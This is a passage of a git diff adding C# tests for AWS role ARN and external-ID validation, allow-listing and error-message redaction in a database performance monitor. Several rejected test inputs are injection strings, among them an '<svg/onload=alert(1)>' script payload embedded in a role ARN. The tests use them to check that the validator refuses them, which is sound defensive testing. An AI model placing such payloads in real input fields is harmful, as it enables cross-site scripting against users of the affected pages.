+        var probed = 0;
+        var counting = (Edit.ServerProbe)((_, _) => { probed++; return Task.FromResult(new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null)); });
+        var body = $"{{\"host\":\"pg-02.example.test\",\"password\":\"pw-secret-1\",\"aws_role_arn\":\"{RoleA}\"}}";
+        var answer = await Edit.EditServerCoreAsync(store, 41, body, counting, TestKeyRings.Healthy, null, CancellationToken.None);
+        using var doc = JsonDocument.Parse(answer);
+        Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal(0, probed);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public void TheWebAndMcpEdits_ShareOneCore_AndTheSameDefaultProbe()
+    {
+        var text = File.ReadAllText(Path.Combine(FindRepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpServerAdminTools.Edit.cs"));
+        var tool = text.IndexOf("public static Task<string> EditServer(", StringComparison.Ordinal);
+        var byName = text.IndexOf("internal static async Task<string> EditServerByNameAsync", StringComparison.Ordinal);
+        var byId = text.IndexOf("internal static async Task<string> EditServerByIdAsync", StringComparison.Ordinal);
+        Assert.True(tool > 0 && byName > tool && byId > byName, "the tool, the by-name body and the web entry exist in order");
+        Assert.Contains("DefaultProbeAsync", text[tool..byName], StringComparison.Ordinal);
+        Assert.Contains("EditServerCoreAsync(", text[byName..byId], StringComparison.Ordinal);
+        var webBody = text[byId..(byId + 1500)];
+        Assert.Contains("EditServerCoreAsync(", webBody, StringComparison.Ordinal);
+        Assert.Contains("DefaultProbeAsync", webBody, StringComparison.Ordinal);
+    }
+
+    /* ---------------- add ---------------- */
+
+    private static string AddJson(string extra) =>
+        "[{\"host\":\"pg-03.example.test\",\"engine\":\"postgres\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"pw-secret-1\"" + extra + "}]";
+
+    [Fact]
+    public void AnAdd_WithARole_NotOnTheList_OrWithNoList_IsInvalid_AndAListedOneIsKept()
+    {
+        var key = TestKeyRings.Healthy.Status;
+        var json = AddJson($",\"aws_role_arn\":\"{RoleA}\",\"aws_external_id\":\"{TypedId}\"");
+
+        var (_, noList, _) = Edit.ParseRequest(json, key, false, AwsRoleAllowlist.Empty);
+        Assert.Contains(noList, r => r.Status == "invalid" && r.Detail.StartsWith("The web and MCP cannot set an AWS role", StringComparison.Ordinal));
+
+        var (_, notListed, _) = Edit.ParseRequest(json, key, false, AwsRoleAllowlist.From([OtherAccountRole]));
+        Assert.Contains(notListed, r => r.Status == "invalid" && r.Detail.StartsWith("That AWS role is not on the list", StringComparison.Ordinal));
+
+        var (entries, invalid, _) = Edit.ParseRequest(json, key, false, AwsRoleAllowlist.From(["123456789012"]));
+        Assert.Empty(invalid);
+        var entry = Assert.Single(entries);
+        Assert.Equal(RoleA, entry.ProbeConfig.AwsRoleArn);
+        Assert.Equal(TypedId, entry.ProbeConfig.AwsExternalId);
+    }
+
+    [Fact]
+    public void AnAdd_WithNoRole_NeedsNoList_AndTheHostCommandLineIsNotHeldToIt()
+    {
+        var key = TestKeyRings.Healthy.Status;
+        var (plain, plainInvalid, _) = Edit.ParseRequest(AddJson(string.Empty), key, false, AwsRoleAllowlist.Empty);
+        Assert.Empty(plainInvalid);
+        Assert.Null(Assert.Single(plain).ProbeConfig.AwsRoleArn);
+
+        var (cli, cliInvalid, _) = Edit.ParseRequest(AddJson($",\"aws_role_arn\":\"{RoleA}\""), key, true, AwsRoleAllowlist.Empty);
+        Assert.Empty(cliInvalid);
+        Assert.Equal(RoleA, Assert.Single(cli).ProbeConfig.AwsRoleArn);
+    }
+
+    [Fact]
+    public void AnAdd_WithABadPair_OrOnSqlServer_IsInvalid_WithTheSharedSentences()
+    {
+        var key = TestKeyRings.Healthy.Status;
+        var list = AwsRoleAllowlist.From(["123456789012"]);
+        var (_, idOnly, _) = Edit.ParseRequest(AddJson($",\"aws_external_id\":\"{TypedId}\""), key, false, list);
+        Assert.Contains(idOnly, r => r.Detail == AwsRoleSettings.ExternalIdNeedsRoleMessage);
+
+        var (_, badRole, _) = Edit.ParseRequest(AddJson(",\"aws_role_arn\":\"nope\""), key, false, list);
+        Assert.Contains(badRole, r => r.Detail == AwsRoleSettings.InvalidRoleMessage);
+
+        var sqlServer = "[{\"host\":\"sql-09.example.test\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"pw-secret-1\",\"aws_role_arn\":\"" + RoleA + "\"}]";
+        var (_, onSql, _) = Edit.ParseRequest(sqlServer, key, false, list);
+        Assert.Contains(onSql, r => r.Detail == AwsRoleSettings.RoleNeedsPostgresMessage);
+    }
+
+    [Fact]
+    public void TheInsert_WritesTheRoleAndExternalId_AsTheLastTwoParameters()
+    {
+        Assert.Contains("aws_role_arn, aws_external_id)", Edit.InsertServerSql, StringComparison.Ordinal);
+        Assert.Contains("$17, $18)", Edit.InsertServerSql, StringComparison.Ordinal);
+    }
+
+    /* ---------------- the form's words ---------------- */
+
+    [Fact]
+    public void TheEditForm_UsesTheServicesOwnSentences_WordForWord()
+    {
+        var js = File.ReadAllText(Path.Combine(FindRepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "admin.js"));
+        foreach (var sentence in new[]
+        {
+            AwsRoleSettings.InvalidRoleMessage, AwsRoleSettings.InvalidExternalIdMessage,
+            AwsRoleSettings.ExternalIdNeedsRoleMessage, AwsRoleSettings.RoleChangeNeedsExternalIdMessage,
+        })
+        {
+            Assert.Contains("\"" + sentence + "\"", js, StringComparison.Ordinal);
+        }
+    }
+
+    private static string FindRepoRoot()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !File.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+
+        return dir?.FullName ?? throw new InvalidOperationException("The repository root was not found.");
+    }
+
+    /* ---------------- stubs ---------------- */
+
+    private static readonly Edit.ServerProbe Reachable = (_, _) => Task.FromResult(
+        new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null));
+
+    private sealed class Store(Edit.ServerEditRow row) : Edit.IServerEditStore
+    {
+        public Edit.ServerEditWriteKind WriteResult { get; set; } = Edit.ServerEditWriteKind.Written;
+
+        public int Writes { get; private set; }
+
+        public Task<Edit.ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken) =>
+            Task.FromResult<Edit.ServerEditRow?>(row);
+
+        public Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken) =>
+            Task.FromResult(new List<string>());
+
+        public Task<Edit.ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<Edit.EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken) =>
+            Task.FromResult(CountedWrite());
+
+        private Edit.ServerEditWrite CountedWrite()
+        {
+            Writes++;
+            return new Edit.ServerEditWrite(WriteResult, Stamp.AddSeconds(1));
+        }
+    }
+
+    private sealed class CapturingLogger : ILogger
+    {
+        public List<string> Lines { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Lines.Add(formatter(state, exception));
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleMessageTextTests.cs b/Darling/Darling.Tests/AwsRoleMessageTextTests.cs
new file mode 100644
index 0000000000..fc7cb8e164
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleMessageTextTests.cs
@@ -0,0 +1,248 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5452: the four texts an operator reads on collection health when a server's AWS role cannot be used. Each says what
+/// happened, names the role ARN, says what to change, and never carries the external ID.
+/// </summary>
+public sealed class AwsRoleMessageTextTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string Sentinel = "ext-7Hq2mZ9vLx";
+
+    private static AwsRoleAssumeException Make(AwsRoleAssumeKind kind, string? externalId) => kind switch
+    {
+        AwsRoleAssumeKind.NotAllowed => AwsRoleAssumeException.ForNotAllowed(new AwsRoleKey(Role, externalId), "us-east-1"),
+        AwsRoleAssumeKind.PartitionMismatch => AwsRoleAssumeException.ForPartitionMismatch(new AwsRoleKey(Role, externalId), "cn-north-1", "aws", "aws-cn"),
+        AwsRoleAssumeKind.Denied => AwsRoleAssumeException.ForStsFailure(
+            new AwsRoleKey(Role, externalId), "us-east-1", FakeSts.Error("AccessDenied", $"denied (ExternalId={externalId})")),
+        AwsRoleAssumeKind.RegionDisabled => AwsRoleAssumeException.ForStsFailure(
+            new AwsRoleKey(Role, externalId), "af-south-1", FakeSts.Error("RegionDisabledException", $"off (ExternalId={externalId})")),
+        _ => throw new ArgumentOutOfRangeException(nameof(kind)),
+    };
+
+    /* What each message must tell the operator to change, as a phrase the text has to hold. */
+    public static TheoryData<AwsRoleAssumeKind, string[]> Changes => new()
+    {
+        { AwsRoleAssumeKind.NotAllowed, ["allowedAwsRoles in darling.json", "restart the service", "clear the role"] },
+        { AwsRoleAssumeKind.PartitionMismatch, ["partition", "Set a role from the target's partition", "clear the role", "host name"] },
+        { AwsRoleAssumeKind.Denied, ["trust policy", "external ID", "sts:AssumeRole", "does not exist"] },
+        { AwsRoleAssumeKind.RegionDisabled, ["Enable that region", "af-south-1", "set a role in a region that is enabled", "host name"] },
+    };
+
+    [Theory]
+    [MemberData(nameof(Changes))]
+    public void EachRoleMessage_SaysWhatHappened_NamesTheRole_AndSaysWhatToChange(AwsRoleAssumeKind kind, string[] phrases)
+    {
+        var message = Make(kind, Sentinel).Message;
+
+        Assert.Contains(Role, message, StringComparison.Ordinal);
+        Assert.Contains("Nothing was read this cycle", message, StringComparison.Ordinal);
+        foreach (var phrase in phrases)
+        {
+            Assert.Contains(phrase, message, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain(Sentinel, message, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Theory]
+    [MemberData(nameof(Changes))]
+    public void EachRoleMessage_IsAnOrdinaryPlainSentence_NotARawSdkDump(AwsRoleAssumeKind kind, string[] phrases)
+    {
+        _ = phrases;
+        var message = Make(kind, Sentinel).Message;
+
+        Assert.DoesNotContain("Amazon.", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("Exception", message, StringComparison.Ordinal);
+        Assert.False(message.Contains('\n', StringComparison.Ordinal), "one line, as the collection health column shows it");
+    }
+
+    [Fact]
+    public void TheDeniedMessage_SaysWhetherAnExternalIdWasSent_AndNeverWhichOne()
+    {
+        var with = Make(AwsRoleAssumeKind.Denied, Sentinel).Message;
+        var without = Make(AwsRoleAssumeKind.Denied, null).Message;
+
+        Assert.Contains("(with the external ID set on this server)", with, StringComparison.Ordinal);
+        Assert.Contains("(without an external ID)", without, StringComparison.Ordinal);
+        Assert.DoesNotContain(Sentinel, with, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void ANoSourceIdentityMessage_NamesTheRoleAndWhatToChange_AndHoldsNoneOfTheSdksOwnText()
+    {
+        var raw = new InvalidOperationException(@"Profile corp-sso not found in C:\Users\svc\.aws\credentials; IMDS at 169.254.169.254 refused");
+
+        var ex = AwsRoleAssumeException.ForNoSourceIdentity(new AwsRoleKey(Role, Sentinel), "us-east-1", raw);
+
+        Assert.Contains(Role, ex.Message, StringComparison.Ordinal);
+        Assert.Contains("Nothing was read this cycle", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("restart the service", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("SDK exception System.InvalidOperationException", ex.Message, StringComparison.Ordinal);
+        foreach (var text in new[] { "corp-sso", @"C:\Users", ".aws", "169.254", "IMDS" })
+        {
+            Assert.DoesNotContain(text, ex.Message, StringComparison.Ordinal);
+            Assert.DoesNotContain(text, ex.ToString(), StringComparison.Ordinal);
+        }
+
+        Assert.Contains("corp-sso", ex.SourceDetail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ATransientMessage_NamesTheRole_AndHoldsNoneOfTheSdksOwnText()
+    {
+        var raw = FakeSts.Error("Throttling", @"Rate exceeded for C:\ProgramData\aws\config on host alpha-07");
+
+        var ex = AwsRoleAssumeException.ForStsFailure(new AwsRoleKey(Role, Sentinel), "us-east-1", raw);
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, ex.Kind);
+        Assert.Contains(Role, ex.Message, StringComparison.Ordinal);
+        Assert.Contains("AWS error code Throttling", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("ProgramData", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("alpha-07", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("alpha-07", ex.SourceDetail, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>
+/// #5452: Test Connection in the desktop viewer. The viewer sends a <c>test_connect</c> command; the service answers it with
+/// <c>DarlingServerConnector.ProbeAsync</c>, which opens a PostgreSQL connection and reads facts from it. Neither the viewer
+/// nor that path makes an AWS call, so the server's role changes nothing about the test. These pins keep it so: a test that
+/// began to call AWS would have to carry the role and the external ID, and be held to the allowed-roles list.
+/// </summary>
+public sealed class AwsRoleTestConnectionTests
+{
+    private static string Repo()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !File.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+
+        return dir?.FullName ?? throw new InvalidOperationException("The repository root was not found.");
+    }
+
+    private static string Read(params string[] parts) => File.ReadAllText(Path.Combine(Repo(), Path.Combine(parts)));
+
+    [Fact]
+    public void TheServiceSideOfTestConnection_MakesNoAwsCall()
+    {
+        var service = Path.Combine("Darling", "PerformanceMonitor.Darling.Service");
+        foreach (var file in new[] { "DarlingServerConnector.cs", "DarlingCommandExecutor.cs" })
+        {
+            var text = Read(service, file);
+            Assert.DoesNotMatch(new Regex(@"^\s*using\s+Amazon", RegexOptions.Multiline), text);
+            foreach (var name in new[] { "AwsRoleClients", "AwsRoleCredentialCache", "AssumeRole", "AmazonRDSClient", "AmazonPIClient", "AwsRoleKey", "RdsEndpointVerifier" })
+            {
+                Assert.DoesNotContain(name, text, StringComparison.Ordinal);
+            }
+        }
+    }
+
+    [Fact]
+    public void TheViewer_HasNoAwsSdk_SoItCannotCallAwsWithAnyCredentials()
+    {
+        var viewer = Path.Combine(Repo(), "Darling", "PerformanceMonitor.Darling.Viewer");
+        var project = File.ReadAllText(Path.Combine(viewer, "PerformanceMonitor.Darling.Viewer.csproj"));
+        Assert.DoesNotContain("AWSSDK", project, StringComparison.Ordinal);
+        foreach (var file in Directory.EnumerateFiles(viewer, "*.cs", SearchOption.AllDirectories))
+        {
+            if (file.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                || file.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            Assert.DoesNotMatch(new Regex(@"^\s*using\s+Amazon", RegexOptions.Multiline), File.ReadAllText(file));
+        }
+    }
+
+    [Fact]
+    public void TheProbe_ReadsNoRoleFromTheServerItTests()
+    {
+        var text = Read("Darling", "PerformanceMonitor.Darling.Service", "DarlingServerConnector.cs");
+        var probe = text.IndexOf("public static async Task<ConnectionProbeResult> ProbeAsync", StringComparison.Ordinal);
+        Assert.True(probe > 0);
+        var end = text.IndexOf("public static string DescribeProbeFacts", probe, StringComparison.Ordinal);
+        Assert.DoesNotContain("AwsRole", text[probe..end], StringComparison.Ordinal);
+        Assert.DoesNotContain("AwsExternalId", text[probe..end], StringComparison.Ordinal);
+    }
+}
+
+/// <summary>The role messages in the runbook's failure table read exactly as the service writes them (#5452).</summary>
+public sealed class AwsRoleRunbookMessagesTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+
+    private static string Runbook()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !File.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+
+        return File.ReadAllText(Path.Combine(
+            dir?.FullName ?? throw new InvalidOperationException("The repository root was not found."), "docs", "postgres-first-target-runbook.md"));
+    }
+
+    [Fact]
+    public void EachRoleMessage_IsQuotedInTheRunbookExactlyAsTheServiceWritesIt()
+    {
+        var runbook = Runbook();
+        var withId = new AwsRoleKey(Role, "ext-7Hq2mZ9vLx");
+        var messages = new[]
+        {
+            AwsRoleAssumeException.ForNotAllowed(withId, "us-east-1").Message,
+            AwsRoleAssumeException.ForPartitionMismatch(withId, "<region>", "aws-cn", "aws").Message,
+            AwsRoleAssumeException.ForStsFailure(withId, "<region>", FakeSts.Error("RegionDisabledException", "off")).Message,
+            AwsRoleAssumeException.ForStsFailure(withId, "us-east-1", FakeSts.Error("AccessDenied", "denied")).Message,
+            AwsRoleAssumeException.ForNoSourceIdentity(withId, "us-east-1", null).Message,
+            AwsRoleAssumeException.ForStsFailure(withId, "us-east-1", FakeSts.Error("Throttling", "slow")).Message,
+        };
+
+        foreach (var message in messages)
+        {
+            /* The table writes the role as <arn>, and the parts that vary (a code, the SDK note) as placeholders. */
+            var quoted = message.Replace(Role, "<arn>", StringComparison.Ordinal);
+            quoted = Regex.Replace(quoted, @" \((?:SDK exception [^)]*|AWS error code [^)]*)\)\z", string.Empty);
+            Assert.Contains(quoted, runbook, StringComparison.Ordinal);
+        }
+
+        /* The host-credentials message holds the AWS error code between its two quoted parts. */
+        var rejected = AwsRoleAssumeException.ForStsFailure(withId, "us-east-1", FakeSts.Error("ExpiredToken", "old")).Message
+            .Replace(Role, "<arn>", StringComparison.Ordinal);
+        var split = rejected.IndexOf(" (ExpiredToken)", StringComparison.Ordinal);
+        Assert.True(split > 0);
+        Assert.Contains(rejected[..split], runbook, StringComparison.Ordinal);
+        Assert.Contains(rejected[(split + " (ExpiredToken)".Length)..], runbook, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRunbooksSampleExternalId_IsOneTheExternalIdCheckRefuses()
+    {
+        var runbook = Runbook();
+        var samples = Regex.Matches(runbook, "\"(?:awsExternalId|sts:ExternalId)\": \"([^\"]*)\"");
+
+        Assert.NotEmpty(samples);
+        foreach (Match sample in samples)
+        {
+            Assert.NotNull(PerformanceMonitor.Darling.Storage.AwsRoleSettings.ValidateExternalId(sample.Groups[1].Value));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleSettingsTests.cs b/Darling/Darling.Tests/AwsRoleSettingsTests.cs
new file mode 100644
index 0000000000..fae1d92616
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleSettingsTests.cs
@@ -0,0 +1,189 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-server AWS role rules (#5452): <see cref="AwsRoleSettings"/> is the one validator every surface that takes a
+/// role ARN and an external ID shares, so its answers and its sentences are pinned here.
+/// </summary>
+public sealed class AwsRoleSettingsTests
+{
+    [Theory]
+    [InlineData(null, null)]
+    [InlineData("", null)]
+    [InlineData("   ", null)]
+    [InlineData("\t\n", null)]
+    [InlineData("  arn:aws:iam::123456789012:role/darling-monitor  ", "arn:aws:iam::123456789012:role/darling-monitor")]
+    public void Normalize_TrimsAndTurnsBlankIntoNull(string? input, string? expected)
+    {
+        Assert.Equal(expected, AwsRoleSettings.Normalize(input));
+    }
+
+    [Theory]
+    [InlineData("arn:aws:iam::123456789012:role/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/a")]
+    [InlineData("arn:aws-cn:iam::123456789012:role/darling-monitor")]
+    [InlineData("arn:aws-us-gov:iam::123456789012:role/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/monitoring/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/a/b/c/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/name_with+=,.@-chars")]
+    [InlineData("arn:aws:iam::000000000000:role/darling")]
+    public void ValidateRole_AcceptsAnIamRoleArn(string role)
+    {
+        Assert.Null(AwsRoleSettings.ValidateRole(role));
+    }
+
+    [Fact]
+    public void ValidateRole_AcceptsAnUnsetRole()
+    {
+        Assert.Null(AwsRoleSettings.ValidateRole(null));
+    }
+
+    [Theory]
+    [InlineData("darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:user/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/")]
+    [InlineData("arn:aws:iam::12345678901:role/darling-monitor")]
+    [InlineData("arn:aws:iam::1234567890123:role/darling-monitor")]
+    [InlineData("arn:aws:iam::12345678901a:role/darling-monitor")]
+    [InlineData("arn:aws:s3::123456789012:role/darling-monitor")]
+    [InlineData("arn:azure:iam::123456789012:role/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/has space")]
+    [InlineData("arn:aws:iam::123456789012:role/monitoring//darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role//darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/darling-monitor/")]
+    [InlineData("arn:aws:iam::123456789012:role/darlingé")]
+    [InlineData("ARN:aws:iam::123456789012:role/darling-monitor")]
+    [InlineData("arn:aws:iam::123456789012:role/darling-monitor\nextra")]
+    [InlineData("arn:aws:iam::123456789012:role/<svg/onload=alert(1)>/x")]
+    [InlineData("arn:aws:iam::123456789012:role/path<b>/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/path>/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/pa\"th/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/pa'th/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/pa&th/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/pa`th/darling")]
+    [InlineData("arn:aws:iam::123456789012:role/pa<th")]
+    public void ValidateRole_RefusesAnythingElse_WithTheSharedSentence(string role)
+    {
+        Assert.Equal(AwsRoleSettings.InvalidRoleMessage, AwsRoleSettings.ValidateRole(role));
+    }
+
+    [Fact]
+    public void ValidateRole_RefusesANameOverSixtyFourCharacters_AndAPathOverFiveHundredTwelve()
+    {
+        var name64 = new string('n', 64);
+        Assert.Null(AwsRoleSettings.ValidateRole($"arn:aws:iam::123456789012:role/{name64}"));
+        Assert.Equal(
+            AwsRoleSettings.InvalidRoleMessage,
+            AwsRoleSettings.ValidateRole($"arn:aws:iam::123456789012:role/{name64}n"));
+
+        /* A path is "/seg/seg/": 255 characters of one segment make a 257-character path, so two of them are 513. */
+        var segment = new string('p', 255);
+        Assert.Null(AwsRoleSettings.ValidateRole($"arn:aws:iam::123456789012:role/{segment}/darling"));
+        Assert.Equal(
+            AwsRoleSettings.InvalidRoleMessage,
+            AwsRoleSettings.ValidateRole($"arn:aws:iam::123456789012:role/{segment}/{segment}/darling"));
+    }
+
+    [Fact]
+    public void ValidateRole_RefusesAnArnOverTheLengthCap()
+    {
+        var role = "arn:aws:iam::123456789012:role/" + new string('p', 2048);
+        Assert.True(role.Length > AwsRoleSettings.RoleArnMaxLength);
+        Assert.Equal(AwsRoleSettings.InvalidRoleMessage, AwsRoleSettings.ValidateRole(role));
+    }
+
+    [Theory]
+    [InlineData("ab")]
+    [InlineData("0123456789")]
+    [InlineData("tenant-1234:prod/us_east+1=x,y.z@corp")]
+    [InlineData("A-b_C+d=e,f.g@h:i/j-k")]
+    public void ValidateExternalId_AcceptsAwsCharactersAtTwoToTwelveTwentyFour(string externalId)
+    {
+        Assert.Null(AwsRoleSettings.ValidateExternalId(externalId));
+    }
+
+    [Fact]
+    public void ValidateExternalId_AcceptsAnUnsetOneAndTheBounds()
+    {
+        Assert.Null(AwsRoleSettings.ValidateExternalId(null));
+        Assert.Null(AwsRoleSettings.ValidateExternalId(new string('x', AwsRoleSettings.ExternalIdMaxLength)));
+        Assert.Equal(
+            AwsRoleSettings.InvalidExternalIdMessage,
+            AwsRoleSettings.ValidateExternalId(new string('x', AwsRoleSettings.ExternalIdMaxLength + 1)));
+    }
+
+    [Theory]
+    [InlineData("x")]
+    [InlineData("has space")]
+    [InlineData("tab\there")]
+    [InlineData("semi;colon")]
+    [InlineData("quote'quote")]
+    [InlineData("café-id")]
+    [InlineData("new\nline")]
+    [InlineData("star*")]
+    public void ValidateExternalId_RefusesTooShortAndAnyOtherCharacter(string externalId)
+    {
+        Assert.Equal(AwsRoleSettings.InvalidExternalIdMessage, AwsRoleSettings.ValidateExternalId(externalId));
+    }
+
+    [Fact]
+    public void ValidatePair_ReportsFormatFirst_ThenAnExternalIdWithNoRole()
+    {
+        const string role = "arn:aws:iam::123456789012:role/darling-monitor";
+
+        Assert.Null(AwsRoleSettings.ValidatePair(null, null));
+        Assert.Null(AwsRoleSettings.ValidatePair(role, null));
+        Assert.Null(AwsRoleSettings.ValidatePair(role, "tenant-1"));
+
+        Assert.Equal(AwsRoleSettings.ExternalIdNeedsRoleMessage, AwsRoleSettings.ValidatePair(null, "tenant-1"));
+        Assert.Equal(AwsRoleSettings.InvalidRoleMessage, AwsRoleSettings.ValidatePair("nope", "tenant-1"));
+        Assert.Equal(AwsRoleSettings.InvalidExternalIdMessage, AwsRoleSettings.ValidatePair(role, "x"));
+    }
+
+    [Theory]
+    /* old,                                           new,                                           stored, sent, needs */
+    [InlineData(null, "arn:aws:iam::123456789012:role/b", true, false, true)]
+    [InlineData("arn:aws:iam::123456789012:role/a", "arn:aws:iam::123456789012:role/b", true, false, true)]
+    [InlineData("arn:aws:iam::123456789012:role/a", "arn:aws:iam::123456789012:role/b", true, true, false)]
+    [InlineData("arn:aws:iam::123456789012:role/a", "arn:aws:iam::123456789012:role/b", false, false, false)]
+    [InlineData("arn:aws:iam::123456789012:role/a", "arn:aws:iam::123456789012:role/a", true, false, false)]
+    [InlineData("arn:aws:iam::123456789012:role/a", "arn:aws:iam::123456789012:role/A", true, false, true)]
+    [InlineData("arn:aws:iam::123456789012:role/a", null, true, false, false)]
+    [InlineData(null, null, true, false, false)]
+    public void RoleChangeNeedsExternalId_OnlyForANewRoleOverAStoredIdThatWasNotSent(
+        string? oldRole, string? newRole, bool stored, bool sent, bool expected)
+    {
+        Assert.Equal(expected, AwsRoleSettings.RoleChangeNeedsExternalId(oldRole, newRole, stored, sent));
+    }
+
+    [Fact]
+    public void TheSentences_ArePinned_AndNameNoRealAccount()
+    {
+        Assert.Equal(
+            "The AWS role must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor.",
+            AwsRoleSettings.InvalidRoleMessage);
+        Assert.Equal(
+            "The external ID must be 2 to 1224 characters: letters, digits and _ + = , . @ : / - with no spaces.",
+            AwsRoleSettings.InvalidExternalIdMessage);
+        Assert.Equal(
+            "An external ID needs an AWS role ARN. Set the role, or clear the external ID.",
+            AwsRoleSettings.ExternalIdNeedsRoleMessage);
+        Assert.Equal(
+            "An AWS role applies only to a PostgreSQL target on Amazon RDS or Aurora.",
+            AwsRoleSettings.RoleNeedsPostgresMessage);
+        Assert.Equal(
+            "Changing the AWS role needs the external ID with it: send the external ID again, or clear it.",
+            AwsRoleSettings.RoleChangeNeedsExternalIdMessage);
+    }
+}
diff --git a/Darling/Darling.Tests/AwsStsTestSupport.cs b/Darling/Darling.Tests/AwsStsTestSupport.cs
new file mode 100644
index 0000000000..4185c37cb8
--- /dev/null
+++ b/Darling/Darling.Tests/AwsStsTestSupport.cs
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.Runtime;
+using Amazon.SecurityToken;
+using Amazon.SecurityToken.Model;
+using Microsoft.Extensions.Logging;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A fake STS for the assumed-role credential tests (#5452): no AWS, no network. It answers
+/// <c>AssumeRoleAsync</c> through a handler and records every request, the region it was built for and the credentials
+/// it was given. Every other member of the interface is unsupported, which fails a test loudly if the code under test
+/// starts calling something else.
+/// </summary>
+public class FakeStsProxy : DispatchProxy
+{
+    internal Func<AssumeRoleRequest, CancellationToken, Task<AssumeRoleResponse>> Handler { get; set; } = null!;
+
+    internal List<AssumeRoleRequest> Requests { get; set; } = null!;
+
+    protected override object? Invoke(MethodInfo? targetMethod, object?[]? args)
+    {
+        switch (targetMethod?.Name)
+        {
+            case "AssumeRoleAsync":
+                var request = (AssumeRoleRequest)args![0]!;
+                lock (Requests)
+                {
+                    Requests.Add(request);
+                }
+
+                return Handler(request, (CancellationToken)args[1]!);
+            case "Dispose":
+                return null;
+            default:
+                throw new NotSupportedException("FakeSts does not implement " + targetMethod?.Name);
+        }
+    }
+}
+
+/// <summary>Builds <see cref="FakeStsProxy"/> clients and the hooks the credentials class takes.</summary>
+internal sealed class FakeSts
+{
+    private readonly object _gate = new();
+
+    public FakeSts(Func<AssumeRoleRequest, CancellationToken, Task<AssumeRoleResponse>>? handler = null)
